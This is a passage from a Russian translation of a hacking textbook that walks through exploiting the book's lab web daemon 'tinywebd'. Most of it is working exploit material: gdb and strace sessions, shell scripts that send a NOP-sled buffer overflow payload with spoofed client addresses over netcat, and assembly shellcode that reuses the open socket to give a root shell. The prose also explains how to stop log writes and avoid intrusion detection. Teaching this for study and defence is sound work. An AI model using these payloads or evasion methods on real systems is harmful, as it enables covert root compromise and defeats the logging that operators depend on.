0xbffff7e4: 0xbffff5cf
0x00000a00 0xbffff838 0x00000004 0xbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000 0xbffff804: 0x0804a8c0 0xbffff818 0x00000010 0x3bb40002
(gdb) print client_addr_ptr
$3 = (struct sockaddr_in *) 0xbffff5cf
(gdb) print client_addr_ptr
$4 = (struct sockaddr_in *) 0xbffff5cf
(gdb) print *client_addr_ptr
$5 = {sin_family = 2, sin_port = 33315, sin_addr = {s_addr = 1312301580},
sin_zero = “\000\000\000\000_
(gdb) x/s log_buffer
0xbffff1c0: “From 12.34.56.78:9090 \”GET / HTTP/1.1\”\t”
(gdb)
В первой точке останова видно, что client_addr_ptr находится по адресу
0xbffff7e4
и содержит 0xbffff810. Это адрес в стеке через два двойных сло- ва после адреса возврата. Остановка во второй контрольной точке проис- ходит уже после перезаписи, поэтому мы видим, что client_addr_ptr по адресу 0xbffff7e4а заменен на 0xbffff5cf – адрес внедренной структуры sockaddr_in
. Тут можно заглянуть в log_buffer перед тем, как он записы- вается в журнал, и убедиться, что замена адреса (спуфинг) сработала.
0x662 Эксплойт без записи в журнал
В идеале лучше не оставлять никаких следов. Если вы работаете в сре- де, предоставляемой загрузочным диском
1
, то можете, получив оболоч- ку root, просто уничтожить журналы. Но предположим, что эта про- грамма выполняется в защищенной инфраструктуре, где журнальные файлы копируются на особые защищенные серверы с жестко ограни- ченным доступом или печатаются на принтере. В такой ситуации уда- ление журнала вам не поможет. Функция timestamp() в демоне tinyweb защищает себя тем, что пишет непосредственно в дескриптор открыто- го файла. Помешать вызову этой функции мы не можем, как не можем отменить запись в файл. Такая мера защиты была бы эффективной, но она была плохо реализована. Фактически, мы уже сталкивались с та- кой задачей в предыдущем эксплойте.
Несмотря на то что переменная logfd глобальная, она тоже передается функции handle_connection() как аргумент. Если вспомнить, как фор- мируется контекст функции, то становится ясным, что при этом в сте-
1
www.symbol.ru/library/hacking-2ed. – Прим. ред.
0x660 Усиленные меры маскировки
393
ке создается еще одна переменная с тем же именем logfd. Это аргумент находится в стеке сразу после client_addr_ptr, поэтому его частично пе- рекрывают нулевой конец строки и лишний байт 0x0a, находящиеся в конце буфера эксплойта.
(gdb) x/xw &client_addr_ptr
0xbffff7e4: 0xbffff5cf
(gdb) x/xw &logfd
0xbffff7e8: 0x00000a00
(gdb) x/4xb &logfd
0xbffff7e8: 0x00 0x0a 0x00 0x00
(gdb) x/8xb &client_addr_ptr
0xbffff7e4: 0xcf 0xf5 0xff 0xbf 0x00 0x0a 0x00 0x00
(gdb) p logfd
$6 = 2560
(gdb) quit
The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: , process 27264
reader@hacking:/booksrc $ sudo kill 27264
reader@hacking:/booksrc $
Если только дескриптор файла не равен случайно 2560 (0x0a00 в шест- надцатеричном виде), все попытки handle_connection() выполнить за- пись в журнал должны оканчиваться неудачей. Это легко увидеть с по- мощью strace. Ниже показан запуск strace с аргументом -p, чтобы под- ключиться к выполняющемуся процессу. Аргумент -e trace=write со- общает strace, что нужно показывать только вызовы write. Здесь снова с другого терминала запускается инструмент эксплойта, чтобы выпол- нить соединение и подтолкнуть выполнение.
reader@hacking:/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:/booksrc $ ps aux | grep tinywebd root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd reader 525 0.0 0.0 2880 748 pts/1 R+ 23:24 0:00 grep tinywebd reader@hacking:/booksrc $ sudo strace -p 478 -e trace=write
Process 478 attached - interrupt to quit write(2560, “09/19/2007 23:29:30> “, 21) = -1 EBADF (Bad file descriptor)
write(2560, “From 12.34.56.78:9090 \”GET / HTT”.., 47) = -1 EBADF (Bad file descriptor)
Process 478 detached reader@hacking:/booksrc $
Здесь явно видно, что попытки записи в журнальный файл оказывают- ся неудачными. В обычных условиях мы не смогли бы затереть пере- менную logfd, потому что путь нам преградил бы client_addr_ptr. Нео- сторожное изменение этого указателя обычно приводит к аварийному завершению. Но заставив эту переменную указывать на допустимый адрес (нашу внедренную адресную структуру), теперь мы можем за- тереть переменные, находящиеся дальше. Демон tinyweb переадресу- ет стандартный вывод на /dev/null, поэтому в следующем скрипте экс-
394
0x600 Противодействие плойта мы заменим переменную на 1, что соответствует стандартному выводу. Тем самым мы помешаем делать запись в журнальный файл, но гораздо лучшим образом – без всяких ошибок.
xtool_tinywebd_silent.sh
#!/bin/sh
# Инструмент скрытого эксплойта для tinywebd,
# также подделывает IP-адрес в памяти
SPOOFIP=”12.34.56.78”
SPOOFPORT=”9090”
if [ -z “$2” ]; then # If argument 2 is blank echo “Usage: $0 ”
exit fi
FAKEREQUEST=”GET / HTTP/1.1\x00”
FR_SIZE=$(perl -e “print \”$FAKEREQUEST\”” | wc -c | cut -f1 -d ‘ ‘)
OFFSET=540
RETADDR=”\x24\xf6\xff\xbf” # В +100 байтах от буфера @ 0xbffff5c0
FAKEADDR=”\xcf\xf5\xff\xbf” # +15 байт от буфера @ 0xbffff5c0
echo “target IP: $2”
SIZE=`wc -c $1 | cut -f1 -d ‘ ‘`
echo “shellcode: $1 ($SIZE bytes)”
echo “fake request: \”$FAKEREQUEST\” ($FR_SIZE bytes)”
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))
echo “[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE]
[shellcode $SIZE] [ret addr 128] [*fake_addr 8]”
(perl -e “print \”$FAKEREQUEST\””;
./addr_struct “$SPOOFIP” “$SPOOFPORT”;
perl -e “print \”\x90\”x$ALIGNED_SLED_SIZE”;
cat $1;
perl -e “print \”$RETADDR\”x32 . \”$FAKEADDR\”x2 . \”\x01\x00\x00\x00\
r\n\””) | nc -w 1 -v $2 80
При использовании этого скрипта эксплойт выполняется совершенно незаметно и в журнал ничего не записывается.
reader@hacking:/booksrc $ sudo rm /Hacked reader@hacking:/booksrc $ ./tinywebd
Starting tiny web daemon..
reader@hacking:/booksrc $ ls -l /var/log/tinywebd.log
-rw------- 1 root reader 6526 2007-09-19 23:24 /var/log/tinywebd.log reader@hacking:/booksrc $ ./xtool_tinywebd_silent.sh mark_restore 127.0.0.1
target IP: 127.0.0.1
shellcode: mark_restore (53 bytes)
fake request: “GET / HTTP/1.1\x00” (15 bytes)
[Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128]
[*fake_addr 8]
0x670 Инфраструктура в целом
395
localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ ls -l /var/log/tinywebd.log
-rw------- 1 root reader 6526 2007-09-19 23:24 /var/log/tinywebd.log reader@hacking:/booksrc $ ls -l /Hacked
-rw------- 1 root reader 0 2007-09-19 23:35 /Hacked reader@hacking:/booksrc $
Обратите внимание: размер и время доступа к журнальному файлу не меняются. С помощью такого приема можно выполнять эксплойт
tinywebd без всяких следов в журналах. Кроме того, запись выполняет- ся чисто, так как все пишется в /dev/null. Это можно увидеть ниже по результатам strace, когда наш инструмент скрытого эксплойта запуска- ется на другом терминале.
reader@hacking:/booksrc $ ps aux | grep tinywebd root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd reader 1005 0.0 0.0 2880 748 pts/1 R+ 23:36 0:00 grep tinywebd reader@hacking:/booksrc $ sudo strace -p 478 -e trace=write
Process 478 attached - interrupt to quit write(1, “09/19/2007 23:36:31> “, 21) = 21
write(1, “From 12.34.56.78:9090 \”GET / HTT”.., 47) = 47
Process 478 detached reader@hacking:/booksrc $
0x670 Инфраструктура в целом
Как часто бывает, детали могут потеряться в общей картине. Отдель- ные узлы обычно составляют часть некой инфраструктуры. Такие контр меры, как системы обнаружения вторжения (intrusion detection systems, IDS) и системы предотвращения вторжения (intrusion pre ven- tion systems, IPS), могут обнаруживать аномальный сетевой трафик.
Даже в простых журналах маршрутизаторов и межсетевых экранов могут регистрироваться аномальные соединения, свидетельствующие о вторжении. В частности, порт 31337 нашего шелл-кода с обратным со- единением – это серьезный сигнал об опасности. Можно было заменить порт на нечто менее подозрительное, но на веб-сервере любое исходящее соединение должно быть сигналом об опасности. В хорошо защищен- ной инфраструктуре межсетевой экран настроен так, что никакие исхо- дящие соединения не допускаются. В такой ситуации открытие нового соединения невозможно или легко обнаруживается.
0x671 Повторное использование сокетов
В нашем случае нет необходимости открывать новое соединение, пото- му что у нас уже есть открытый сокет от веб-запроса. Раз уж мы ста- ли возиться с начинкой демона tinyweb, поработаем еще немного с от- ладчиком и посмотрим, как использовать открытый сокет для запу- ска оболочки root. Этим мы избавимся от регистрации лишних соеди-
3960x600 Противодействие нений TCP и
сможем осуществлять эксплойт в условиях, когда узел не может открывать исходящие соединения. Взгляните на исходный код
tinywebd.c, представленный ниже.
Фрагмент tinywebd.c while(1) { // Цикл приема.
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
if(new_sockfd == -1)
fatal(“accepting connection”);
handle_connection(new_sockfd, &client_addr, logfd);
}
return 0;
}
/* Эта функция обрабатывает соединение на переданном сокете от переданного
* адреса клиента. Соединение обрабатывается как веб-запрос, и эта функция
* отвечает через сокет соединения. В конце работы функции этот сокет
* закрывается.
*/
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
unsigned char *ptr, request[500], resource[500], log_buffer[500];
int fd, length;
length = recv_line(sockfd, request);
К сожалению, переменная sockfd, передаваемая в handle_connection(), будет неизбежно затерта, когда мы попытаемся затереть logfd. Это про- изойдет раньше, чем мы сможем управлять программой в шелл-коде, поэтому восстановить прежнее значение sockfd не удастся. К счастью, main()
сохраняет другой экземпляр дескриптора файла сокета в пере- менной new_sockfd.
reader@hacking:/booksrc $ ps aux | grep tinywebd root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd reader 1284 0.0 0.0 2880 748 pts/1 R+ 23:42 0:00 grep tinywebd reader@hacking:/booksrc $ gcc -g tinywebd.c reader@hacking:/booksrc $ sudo gdb -q–pid=478 ––symbols=./a.out warning: not using untrusted file “/home/reader/.gdbinit”
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
Attaching to process 478
/cow/home/reader/booksrc/tinywebd: No such file or directory.
A program is being debugged already. Kill it? (y or n) n
Program not killed.
(gdb) list handle_connection
77 /* Эта функция обрабатывает соединение на переданном сокете от
78 * переданного адреса клиента. Соединение обрабатывается как веб-
79 * запрос, и эта функция отвечает через сокет соединения. В конце
80 * работы функции этот сокет закрывается.
81 */
0x670 Инфраструктура в целом
39782 void handle_connection(int sockfd, struct sockaddr_in
*client_addr_ptr, int logfd) {
83 unsigned char *ptr, request[500], resource[500], log_buffer[500];
84 int fd, length;
85 86 length = recv_line(sockfd, request);
(gdb) break 86
Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.
(gdb) cont
Continuing.
После того как установлена точка останова и программа продолжена, с другого терминала запускается инструмент скрытого эксплойта для соединения и дальнейшего выполнения.
Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86 86 length = recv_line(sockfd, request);
(gdb) x/x &sockfd
0xbffff7e0: 0x0000000d
(gdb) x/x &new_sockfd
No symbol “new_sockfd” in current context.
(gdb) bt
#0 handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86
#1 0x08048fb7 in main () at tinywebd.c:72
(gdb) select-frame 1
(gdb) x/x &new_sockfd
0xbffff83c: 0x0000000d
(gdb) quit
The program is running. Quit anyway (and detach it)? (y or n) y
Detaching from program: , process 478
reader@hacking:/booksrc $
Этот отладочный вывод показывает, что new_sockfd хранится по адресу
0xbffff83c в кадре стека main. С учетом этого можно написать шелл-код, использующий этот сохраненный дескриптор файла сокета, не созда- вая нового соединения.
Можно было бы прямо использовать этот адрес, но есть всякие мелочи, из-за которых память стека может сместиться. Если это произойдет, а в шелл-коде будет использоваться жестко зафиксированный адрес стека, то эксплойт не сработает. Чтобы сделать шелл-код более надеж- ным, стоит приглядеться к тому, как
компилятор поступает с перемен- ными, находящимися в стеке. Если использовать адреса относитель- но ESP, то даже если стек немного сместится, адрес new_sockfd останет- ся правильным, потому что его смещение относительно ESP сохранит- ся. Ранее при отладке шелл-кода mark_break выяснилось, что ESP равен
0xbffff7e0
. В таком случае нужное смещение составит 0x5c байт.
reader@hacking:/booksrc $ gdb -q
(gdb) print /x 0xbffff83c - 0xbffff7e0
398
0x600 Противодействие
$1 = 0x5c
(gdb)
В следующем шелл-коде для оболочки root используется уже имею- щийся сокет.
socket_reuse_restore.s
BITS 32
push BYTE 0x02 ; fork - системный вызов 2
pop eax int 0x80 ; В дочернем процессе после ветвления eax == 0.
test eax, eax jz child_process ; В дочернем процессе – запустить оболочку.
; В родительском процессе – восстановить tinywebd.
lea ebp, [esp+0x68] ; Восстановить EBP.
push 0x08048fb7 ; Адрес возврата.
ret ; Возврат child_process:
; Повторно использовать имеющийся сокет.
lea edx, [esp+0x5c] ; Поместить адрес new_sockfd в edx.
mov ebx, [edx] ; Поместить значение new_sockfd в ebx.
push BYTE 0x02
pop ecx ; ecx начинается с 2.
xor eax, eax xor edx, edx dup_loop:
mov BYTE al, 0x3F ; dup2 – системный вызов 63
int 0x80 ; dup2(c, 0)
dec ecx ; Обратный счет до 0
jns dup_loop ; Если флаг знака не установлен, ecx не отрицательный.
; execve(const char *filename, char *const argv [], char *const envp[])
mov BYTE al, 11 ; execve – системный вызов 11
push edx ; Протолкнуть нули конца строки.
push 0x68732f2f ; Протолкнуть в стек “//sh”.
push 0x6e69622f ; Протолкнуть в стек “/bin”.
mov ebx, esp ; Поместить адрес “/bin//sh” в ebx.
push edx ; Протолкнуть в стек 32-разрядный нулевой указатель.
mov edx, esp ; Это пустой массив для envp.
push ebx ; Протолкнуть в стек адрес строки.
mov ecx, esp ; Это массив argv с указателем строки.
int 0x80 ; execve(“/bin//sh”, [“/bin//sh”, NULL], [NULL])
Чтобы эффективно использовать этот шелл-код, нам понадобится дру- гой инструмент эксплойта, с помощью которого можно передать бу- фер эксплойта, но сохранить сокет для последующего ввода/выво- да. В этом новом скрипте в конец буфера эксплойта добавлена коман- да cat -. Дефис в качестве аргумента означает стандартный ввод. Само
0x670 Инфраструктура в целом
399по себе выполнение cat на стандартном вводе довольно бессмысленно, но когда команда передает вывод по конвейеру на
netcat, стандартный ввод и вывод фактически привязываются к сокету
netcat.
Приведенный ниже скрипт соединяется с приемником, посылает бу- фер эксплойта и,
сохраняя сокет открытым, получает потом данные, вводимые с терминала. Весь код отличается от инструмента скрытого эксплойта несколькими изменениями (выделены полужирным).
xtool_tinywebd_reuse.sh#!/bin/sh
# Инструмент скрытого эксплойта для tinywebd,
# подделывает IP-адрес, хранящийся в памяти,
# использует имеющийся сокет – применяйте шелл-код socket_reuseSPOOFIP=”12.34.56.78”
SPOOFPORT=”9090”
if [ -z “$2” ]; then # Если аргумент 2 пустой echo “Usage: $0
”
exit fi
FAKEREQUEST=”GET / HTTP/1.1\x00”
FR_SIZE=$(perl -e “print \”$FAKEREQUEST\”” | wc -c | cut -f1 -d ‘ ‘)
OFFSET=540
RETADDR=”\x24\xf6\xff\xbf” # Через +100 байт от буфера @ 0xbffff5c0
FAKEADDR=”\xcf\xf5\xff\xbf” # Через +15 байт от буфера @ 0xbffff5c0
echo “target IP: $2”
SIZE=`wc -c $1 | cut -f1 -d ‘ ‘`
echo “shellcode: $1 ($SIZE bytes)”
echo “fake request: \”$FAKEREQUEST\” ($FR_SIZE bytes)”
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))
echo “[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE]
[shellcode $SIZE] [ret addr 128] [*fake_addr 8]”
(perl -e “print \”$FAKEREQUEST\””;
./addr_struct “$SPOOFIP” “$SPOOFPORT”;
perl -e “print \”\x90\”x$ALIGNED_SLED_SIZE”;
cat $1;
perl -e “print \”$RETADDR\”x32 . \”$FAKEADDR\”x2 . \”\x01\x00\x00\x00\r\n\””;
cat -;
) | nc -v $2 80
При использовании с шелл-кодом socket_reuse_restore.s оболочка root предоставляется через тот же сокет, на который принят веб-запрос. Это показывает следующий листинг.
reader@hacking:/booksrc $ nasm socket_reuse_restore.s reader@hacking:/booksrc $ hexdump -C socket_reuse_restore
00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X..t.l$hh.|
00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 31 d2 |..T$\.j.Y1.1.|
00000020 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?.Iy..Rh//shh|
00000030 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |/bin.R.S..|
4000x600 Противодействие
0000003e reader@hacking:/booksrc $ ./tinywebd
Starting tiny web daemon.
reader@hacking:/booksrc $ ./xtool_tinywebd_reuse.sh socket_reuse_restore
127.0.0.1
target IP: 127.0.0.1
shellcode: socket_reuse_restore (62 bytes)
fake request: “GET / HTTP/1.1\x00” (15 bytes)
[Fake Request 15] [spoof IP 16] [NOP 323] [shellcode 62] [ret addr 128]
[*fake_addr 8]
localhost [127.0.0.1] 80 (www) open whoami root
Благодаря повторному использованию сокета этот эксплойт оказывает- ся еще скрытым, потому что он не создает новых соединений. Чем мень- ше соединений, тем меньше аномалий смогут обнаружить средства за- щиты.